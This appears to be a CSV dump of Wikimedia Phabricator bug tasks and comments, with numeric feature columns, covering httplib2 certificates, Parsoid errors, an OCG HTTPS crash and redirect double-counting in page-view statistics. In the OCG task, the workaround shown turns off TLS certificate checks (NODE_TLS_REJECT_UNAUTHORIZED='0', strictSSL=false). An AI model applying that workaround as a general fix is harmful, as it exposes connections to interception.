+493321,Fedora 20 ships python3 httplib2 0.7.7 with unpatched SSL cert file,Also fixed #upstream on 2015-05-08,,,1437242738,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-s7xkcw7rbgjudwqrsqhf,task_subcomment,,True,c3,3,True,,,2,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+468051,Fedora 20 ships python3 httplib2 0.7.7 with unpatched SSL cert file,Switched to python-requests.,,,1433297689,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-s7xkcw7rbgjudwqrsqhf,task_subcomment,,True,c3,1,True,,,-5,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+326549,Fedora 20 ships python3 httplib2 0.7.7 with unpatched SSL cert file,"The reason for the problem with py3 is Fedora patches httplib2-0.7.7 to use the system certs, but only for py2.  Therefore python3-httplib2-0.7.7 is using the certs included in the distributed 0.7.7 tarball, which is mostly junk data nowadays.
+
+fwiw, it looks like FC21 is likely to be based on py34 and include httplib2-0.9
+
+Our typical workarounds for httplib2 work well; either install 0.9 using pip, or recursively clone the pywikibot repo, so it can use 'externals/httplib2' - both tested and work correctly.",,,1413806553,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-s7xkcw7rbgjudwqrsqhf,task_subcomment,,True,c3,1,True,,,-37,True,0,0,0,1,0,1,1,0,0,0,1,0,0,1,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,1,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,0
+326543,Fedora 20 ships python3 httplib2 0.7.7 with unpatched SSL cert file,"In addition, setting Family.ignore_certificate_error does not work in py3 (bug 72236 - upstream)",,,1413732950,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-s7xkcw7rbgjudwqrsqhf,task_subcomment,,True,c3,1,True,,,-37,True,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+73946,Cannot login to Phabricator (because of space in username?),"Expected result:
+According to the text on https://phabricator.wikimedia.org/auth/start/ it should be possible to login with the Wikipedia account. 
+
+
+Actual Result:
+""Username or password are incorrect.""
+
+
+Additional Information: 
+My Wikipedia username is ""Hendrik Brummermann"", perhaps the space character is not supported.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal",Needs Triage,90.0,1413022560,1413144272.0,PHID-USER-vh7gdq5twn7kwzeqrciw,False,,False,PHID-TASK-62fy4wbtpl6pcqp57yen,task_description,invalid,True,c3,1,False,False,True,-38,True,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,0,0,1,0,0,0
+324092,Cannot login to Phabricator (because of space in username?),"Thank you, Mukunda.
+
+I am sorry, I did not notice that button. With your help, I was able to login.
+
+Hendrik",,,1413144272,,PHID-USER-vh7gdq5twn7kwzeqrciw,False,,,PHID-TASK-62fy4wbtpl6pcqp57yen,task_subcomment,,True,c3,1,False,,,-38,True,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+324088,Cannot login to Phabricator (because of space in username?),"Hendrik:  To log in with your wikipedia account you need to click the button below the login form that says:
+
+ Login or Register
+ MediaWiki
+
+Once you click that button you get redirected to mediawiki.org to log in and link your phabricator account to your mediawiki.org login.",,,1413072780,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-62fy4wbtpl6pcqp57yen,task_subcomment,,True,c3,1,True,,,-38,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,1
+324085,Cannot login to Phabricator (because of space in username?),Thanks for reporting this. CC'ing Mukunda.,,,1413054381,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-62fy4wbtpl6pcqp57yen,task_subcomment,,True,c3,1,True,,,-38,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+73880,Parsoid cluster (newly) fails (HTTP 503 errors) to render articles,"For example:
+
+* https://kn.wikipedia.org/w/index.php?title=%E0%B2%B8%E0%B3%8D%E0%B2%9F%E0%B2%BE%E0%B2%B0%E0%B3%8D%E2%80%8C%E0%B2%AC%E0%B2%95%E0%B3%8D%E0%B2%B8%E0%B3%8D%E2%80%8C%E2%80%8C&oldid=491660 (WORKS)
+* http://parsoid-lb.eqiad.wikimedia.org/knwiki/%E0%B2%B8%E0%B3%8D%E0%B2%9F%E0%B2%BE%E0%B2%B0%E0%B3%8D%E2%80%8C%E0%B2%AC%E0%B2%95%E0%B3%8D%E0%B2%B8%E0%B3%8D%E2%80%8C%E2%80%8C?oldid=491660 (FAILS)
+
+OR
+
+* https://kn.wikipedia.org/w/index.php?title=%E0%B2%B9%E0%B2%BF%E0%B2%AE_%E0%B2%9A%E0%B2%BF%E0%B2%B0%E0%B2%A4%E0%B3%86&oldid=371939 (WORKS)
+* http://parsoid-lb.eqiad.wikimedia.org/knwiki/ಹಿಮ_ಚಿರತೆ?oldid=371939 (FAILS)
+
+I have many more examples with different Wikipedias.
+
+--------------------------
+**Version**: unspecified
+**Severity**: critical",Needs Triage,90.0,1412858460,1412870151.0,PHID-USER-nwa6c3hm5nmv7ixrih4p,False,,False,PHID-TASK-u3eeltc4z5jroxx66e2a,task_description,resolved,True,c3,1,False,False,True,-38,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,1,0,1
+321073,Parsoid cluster (newly) fails (HTTP 503 errors) to render articles,Verified that all the above are fixed with the latest parsoid deploy.  Yay!,,,1412887346,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-u3eeltc4z5jroxx66e2a,task_subcomment,,True,c3,1,False,,,-38,True,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0
+321070,Parsoid cluster (newly) fails (HTTP 503 errors) to render articles,Have we verified that all the URLs above are fixed by this patch?  I'd prefer to leave this bug open until we can verify that the urls are fixed in production.,,,1412873381,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-u3eeltc4z5jroxx66e2a,task_subcomment,,True,c3,1,False,,,-38,True,1,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0
+321068,Parsoid cluster (newly) fails (HTTP 503 errors) to render articles,This was fixed y'day (https://gerrit.wikimedia.org/r/#/c/165504/) and we'll deploy today if we can.,,,1412864186,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-u3eeltc4z5jroxx66e2a,task_subcomment,,True,c3,1,False,,,-38,True,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0
+321066,Parsoid cluster (newly) fails (HTTP 503 errors) to render articles,"Some more:
+
+http://parsoid-lb.eqiad.wikimedia.org/enwiki/Oh!_Susanna
+http://parsoid-lb.eqiad.wikimedia.org/enwiki/Iran%E2%80%93United_States_relations
+http://parsoid-lb.eqiad.wikimedia.org/enwiki/%C3%9Atila
+http://parsoid-lb.eqiad.wikimedia.org/enwiki/Wish_Tree",,,1412863920,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-u3eeltc4z5jroxx66e2a,task_subcomment,,True,c3,1,False,,,-38,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0
+73797,Crash with HTTPS only Mediawiki instances,"If you have a HTTPS only instance of Mediawiki, it's not possible to use OCG directly.
+
+You get this error:
+error: Error: Hostname/IP doesn't match certificate's altnames
+    at SecurePair.<anonymous> (tls.js:1371:23)
+    at SecurePair.EventEmitter.emit (events.js:92:17)
+    at SecurePair.maybeInitFinished (tls.js:974:10)
+    at CleartextStream.read [as _read] (tls.js:462:15)
+    at CleartextStream.Readable.read (_stream_readable.js:320:10)
+    at EncryptedStream.write [as _write] (tls.js:366:25)
+    at doWrite (_stream_writable.js:221:10)
+    at writeOrBuffer (_stream_writable.js:211:5)
+    at EncryptedStream.Writable.write (_stream_writable.js:180:11)
+    at write (_stream_readable.js:583:24) channel=backend.bundler.bin, id=65848afb3f242ab641e6d3f9cb031244c780172d, writer=rdf2latex, details=undefined
+error: Bundling process died with non zero code: 1 channel=backend.bundler.error, id=65848afb3f242ab641e6d3f9cb031244c780172d, writer=rdf2latex, metabook={
+
+It should be explained how to get rid of this error in the document. I'm not sure this is relevant to take care about this as in 99% of the instances this run on the same machine like MW. Maybe a simple option (activated per default?) should avoid this check.
+
+I have achieved to get ride of this problem by addingprocess.env.NODE_TLS_REJECT_UNAUTHORIZED = ""0"";
+
+PS: This problem is also valid for Parsoid.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1412777760,1614504563.0,PHID-USER-nwa6c3hm5nmv7ixrih4p,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-ttmyassxbeqqeav6vqai,task_description,declined,True,c3,1,False,False,False,-39,True,0,0,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,0,0,0,1
+1673963,Crash with HTTPS only Mediawiki instances,Declining this task as OCG has been dead for years.,,,1614504563,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ttmyassxbeqqeav6vqai,task_subcomment,,True,c3,3,True,,,295,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+930268,Crash with HTTPS only Mediawiki instances,"As already announced in [[ https://meta.wikimedia.org/wiki/Tech/News/2017/37 | Tech News ]], OfflineContentGenerator (OCG) will not be used anymore after October 1st, 2017 on Wikimedia sites. OCG will be replaced by Electron. [[ https://www.mediawiki.org/wiki/Special:MyLanguage/Reading/Web/PDF_Functionality | You can read more on mediawiki.org. ]]",,,1505380693,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ttmyassxbeqqeav6vqai,task_subcomment,,True,c3,3,True,,,115,True,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,1,0,1
+328803,Crash with HTTPS only Mediawiki instances,"Parsoid has implemented this in a nice way IMO. It's possible to specify in localsettings.js:
+
+	// Require SSL certificates to be valid (default true)
+	// Set to false when using self-signed SSL certificates
+	parsoidConfig.strictSSL = false;",,,1416257808,,PHID-USER-nwa6c3hm5nmv7ixrih4p,False,,,PHID-TASK-ttmyassxbeqqeav6vqai,task_subcomment,,True,c3,1,False,,,-33,True,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+328797,Crash with HTTPS only Mediawiki instances,"I know only two people who have tried to installed OCG and both were puzzled by this problem.
+
+We need:
+1 - A correct error handling
+2 - The solution should be clearly documented somewhere with a step-by-step procedure (In my case, although I have searched, I was not able to find this procedure clearly explained)
+3 - Point a link to that solution in the error message",,,1414680810,,PHID-USER-nwa6c3hm5nmv7ixrih4p,False,,,PHID-TASK-ttmyassxbeqqeav6vqai,task_subcomment,,True,c3,1,False,,,-35,True,0,0,0,1,1,1,1,0,1,0,1,0,0,1,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+328790,Crash with HTTPS only Mediawiki instances,"Yeah, this sonuds like your HTTPS certificates are invalid.  That's not a Parsoid/OCG problem.",,,1414675777,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-ttmyassxbeqqeav6vqai,task_subcomment,,True,c3,1,False,,,-35,True,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0
+328783,Crash with HTTPS only Mediawiki instances,What's the https domain in question? Are you sure the certificates for it are correct?,,,1414656311,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ttmyassxbeqqeav6vqai,task_subcomment,,True,c3,1,True,,,-35,True,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0,0
+73790,"By counting HTTP redirects, webstatscollector reporting too high numbers","One of the longstanding issues with Webstatscollector is that it
+counts redirects at the HTTP level.
+
+So, for example, requesting:
+- a page with a lower case first letter [1],
+- a page from the desktop site on a mobile device [2], or
+- a www.wikipedia.org/wiki/ path (first part is www, not a language) [3], or
+- Special:MyLanguage / Special:Random / Special:RandomRootPage / Special:RandomInCategory, or
+- [[https://www.mediawiki.org/wiki/Manual:$wgNamespaceAliases|namespace aliases]], special page aliases and canonical special page names/namespace names
+causes two requests to the caches, and webstatscollector counts both,
+although actually only a single page is shown to the user.
+Thereby too high numbers get reported.
+
+Since we're about the deploy a new webstatscollector anyways, and this
+double counting should not be too hard to fix, let's get it fixed too.
+
+(Note that redirects above the HTTP level are not affected. So for example
+  http://en.wikipedia.org/wiki/Michael_J_Fox
+(no dot after the J) is, was and will be one request, although it shows
+the content of
+  http://en.wikipedia.org/wiki/Michael_J._Fox
+(dot after the J). Such redirects at Wiki level are not affected.)
+
+
+
+
+
+[1]
+_________________________________________________________________
+christian@spencer // jobs: 0 // time: 13:13:36 // exit code: 0
+cwd: ~
+wget -O /dev/null 'http://en.wikipedia.org/wiki/main_page'
+--2014-10-08 13:13:39--  http://en.wikipedia.org/wiki/main_page
+Resolving en.wikipedia.org... 91.198.174.192
+Connecting to en.wikipedia.org|91.198.174.192|:80... connected.
+HTTP request sent, awaiting response... 301 Moved Permanently
+Location: http://en.wikipedia.org/wiki/Main_page [following]
+--2014-10-08 13:13:39--  http://en.wikipedia.org/wiki/Main_page
+Reusing existing connection to en.wikipedia.org:80.
+HTTP request sent, awaiting response... 200 OK
+Length: unspecified [text/html]
+Saving to: `/dev/null'
+
+    [ <=>                                                                                                                  ] 67,779      --.-K/s   in 0.1s    
+
+2014-10-08 13:13:39 (472 KB/s) - `/dev/null' saved [67779]
+
+
+
+[2]
+_________________________________________________________________
+christian@spencer // jobs: 0 // time: 13:13:39 // exit code: 0
+cwd: ~
+wget -O /dev/null --user-agent 'iPhone' 'http://en.wikipedia.org/wiki/Main_Page'
+--2014-10-08 13:13:44--  http://en.wikipedia.org/wiki/Main_Page
+Resolving en.wikipedia.org... 91.198.174.192
+Connecting to en.wikipedia.org|91.198.174.192|:80... connected.
+HTTP request sent, awaiting response... 302 Found
+Location: http://en.m.wikipedia.org/wiki/Main_Page [following]
+--2014-10-08 13:13:44--  http://en.m.wikipedia.org/wiki/Main_Page
+Resolving en.m.wikipedia.org... 91.198.174.204
+Connecting to en.m.wikipedia.org|91.198.174.204|:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: unspecified [text/html]
+Saving to: `/dev/null'
+
+    [ <=>                                                                                                                  ] 22,002      --.-K/s   in 0.05s   
+
+2014-10-08 13:13:44 (416 KB/s) - `/dev/null' saved [22002]
+
+
+
+[3]
+_________________________________________________________________
+christian@spencer // jobs: 0 // time: 13:13:44 // exit code: 0
+cwd: ~
+wget -O /dev/null 'http://www.wikipedia.org/wiki/Main_Page'
+--2014-10-08 13:13:49--  http://www.wikipedia.org/wiki/Main_Page
+Resolving www.wikipedia.org... 91.198.174.192
+Connecting to www.wikipedia.org|91.198.174.192|:80... connected.
+HTTP request sent, awaiting response... 301 Moved Permanently
+Location: http://en.wikipedia.org/wiki/Main_Page [following]
+--2014-10-08 13:13:49--  http://en.wikipedia.org/wiki/Main_Page
+Resolving en.wikipedia.org... 91.198.174.192
+Reusing existing connection to www.wikipedia.org:80.
+HTTP request sent, awaiting response... 200 OK
+Length: unspecified [text/html]
+Saving to: `/dev/null'
+
+    [ <=>                                                                                                                  ] 67,565      --.-K/s   in 0.1s    
+
+2014-10-08 13:13:49 (471 KB/s) - `/dev/null' saved [67565]
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=72102",Needs Triage,90.0,1412767200,1413414639.0,PHID-USER-pntojlcbclwhuip53bix,False,,False,PHID-TASK-2kvkjwrntloh7io34tal,task_description,resolved,True,c3,1,True,False,True,-39,True,0,0,0,1,1,1,1,0,1,0,0,1,0,1,0,1,0,1,1,0,1,1,1,0,1,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1
+458050,"By counting HTTP redirects, webstatscollector reporting too high numbers","Thanks. I forgot to look in the table among outages etc.
+
+I know it was announced, I just wonder where main features of the new data are expected to be described. Can/should I add information to https://wikitech.wikimedia.org/wiki/Analytics/Pageviews (which has an empty ""Changes"" section) or to https://wikitech.wikimedia.org/wiki/Analytics/Data/Pagecounts-raw (which is linked from the dumps)?",,,1431504904,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-2kvkjwrntloh7io34tal,task_subcomment,,True,c3,1,True,,,-8,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,1,1,0,0,0,0,1
+457920,"By counting HTTP redirects, webstatscollector reporting too high numbers",">>! In T73790#1278623, @Nemo_bis wrote:
+> Is it documented anywhere?
+
+Yes. It got announced/documented at least 6 times :-)
+
+On the corresponding data set pages on wikitech (search for ""71790""):
+* https://wikitech.wikimedia.org/wiki/Analytics/Data/Pagecounts-raw
+* https://wikitech.wikimedia.org/wiki/Analytics/Data/Pagecounts-all-sites
+
+Additionally, see the analytics list announcements:
+* https://lists.wikimedia.org/pipermail/analytics/2014-October/002560.html
+* https://lists.wikimedia.org/pipermail/analytics/2014-October/002572.html
+
+And the mentioning in the ""Adventures in Clusterland"" reports (search for ""71790""):
+* https://lists.wikimedia.org/pipermail/analytics/2014-October/002614.html
+* https://lists.wikimedia.org/pipermail/analytics/2014-October/002706.html
+
+> https://wikitech.wikimedia.org/wiki/Analytics/Data/Pagecounts-raw has no such information
+
+That page has the information. At the bottom of the page, there is a table of issues that has a row:
+
+```
+| * 	| 2014-10-15 ~19:02:30 | bug 71790 | Redirects have been counted 
+```
+",,,1431470001,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-2kvkjwrntloh7io34tal,task_subcomment,,True,c3,1,True,,,-8,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,1,1,0,1,1,1,0,1,1,1,1,1,1,1,1,1,1,0,1,0,1,1
+457398,"By counting HTTP redirects, webstatscollector reporting too high numbers","From http://thread.gmane.org/gmane.science.linguistics.wikipedia.research/4526 , it seems information about this change didn't trickle down to consumers of the data. Is it documented anywhere?
+
+https://wikitech.wikimedia.org/wiki/Analytics/Webstatscollector is marked obsolete but seems to have no replacement; mediawiki.org pages recently got some warnings to visit wikitech, without specifying which page(s) now host the respective information; https://wikitech.wikimedia.org/wiki/Analytics/Data/Pagecounts-raw has no such information; https://wikitech.wikimedia.org/wiki/Analytics/Pageviews and https://meta.wikimedia.org/wiki/Research:Page_view are silent on the matter.",,,1431416410,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-2kvkjwrntloh7io34tal,task_subcomment,,True,c3,1,True,,,-8,True,1,0,0,1,1,1,1,0,0,0,0,1,1,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,1,0,0,1,0,0,0
+328450,"By counting HTTP redirects, webstatscollector reporting too high numbers","Change 165748 merged by Ottomata:
+[webstatscollector] Add condition to not count redirects
+
+https://gerrit.wikimedia.org/r/165748",,,1413836422,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2kvkjwrntloh7io34tal,task_subcomment,,True,c3,1,False,,,-37,True,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+328447,"By counting HTTP redirects, webstatscollector reporting too high numbers",Are retroactive adjustments of stats.wikimedia.org pageview stats expected?,,,1413415174,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-2kvkjwrntloh7io34tal,task_subcomment,,True,c3,1,True,,,-38,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0
+328443,"By counting HTTP redirects, webstatscollector reporting too high numbers","Fix has been deployed on 2014-10-15 ~19:01 and is effective.
+
+The last affected files are
+
+  http://dumps.wikimedia.org/other/pagecounts-raw/2014/2014-10/pagecounts-20141015-200000.gz [1]
+  http://dumps.wikimedia.org/other/pagecounts-raw/2014/2014-10/projectcounts-20141015-200000 [1]
+  http://dumps.wikimedia.org/other/pagecounts-all-sites/2014/2014-10/pagecounts-20141015-190000.gz
+  http://dumps.wikimedia.org/other/pagecounts-all-sites/2014/2014-10/projectcounts-20141015-190000
+
+The first files without the [uU]ndefined counts are
+
+  http://dumps.wikimedia.org/other/pagecounts-raw/2014/2014-10/pagecounts-20141015-210000.gz [1]
+  http://dumps.wikimedia.org/other/pagecounts-raw/2014/2014-10/projectcounts-20141015-210000 [1]
+  http://dumps.wikimedia.org/other/pagecounts-all-sites/2014/2014-10/pagecounts-20141015-200000.gz
+  http://dumps.wikimedia.org/other/pagecounts-all-sites/2014/2014-10/projectcounts-20141015-200000
+
+[1] When restarting collector and filter for the C implementation of
+webstatscollector, where was a period (<2 minutes) where the new
+collector and the old filter have been running. Hence, during this
+perioud a few redirects made it the 20:00:00 file.",,,1413414639,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-2kvkjwrntloh7io34tal,task_subcomment,,True,c3,1,True,,,-38,True,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+328441,"By counting HTTP redirects, webstatscollector reporting too high numbers","Change 165725 merged by QChris:
+Stop counting 301, 302, 303 HTTP status codes
+
+https://gerrit.wikimedia.org/r/165725",,,1413400975,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2kvkjwrntloh7io34tal,task_subcomment,,True,c3,1,False,,,-38,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+328437,"By counting HTTP redirects, webstatscollector reporting too high numbers","Change 165351 merged by Ottomata:
+Release fix that stops counting [uU]ndefined and redirects
+
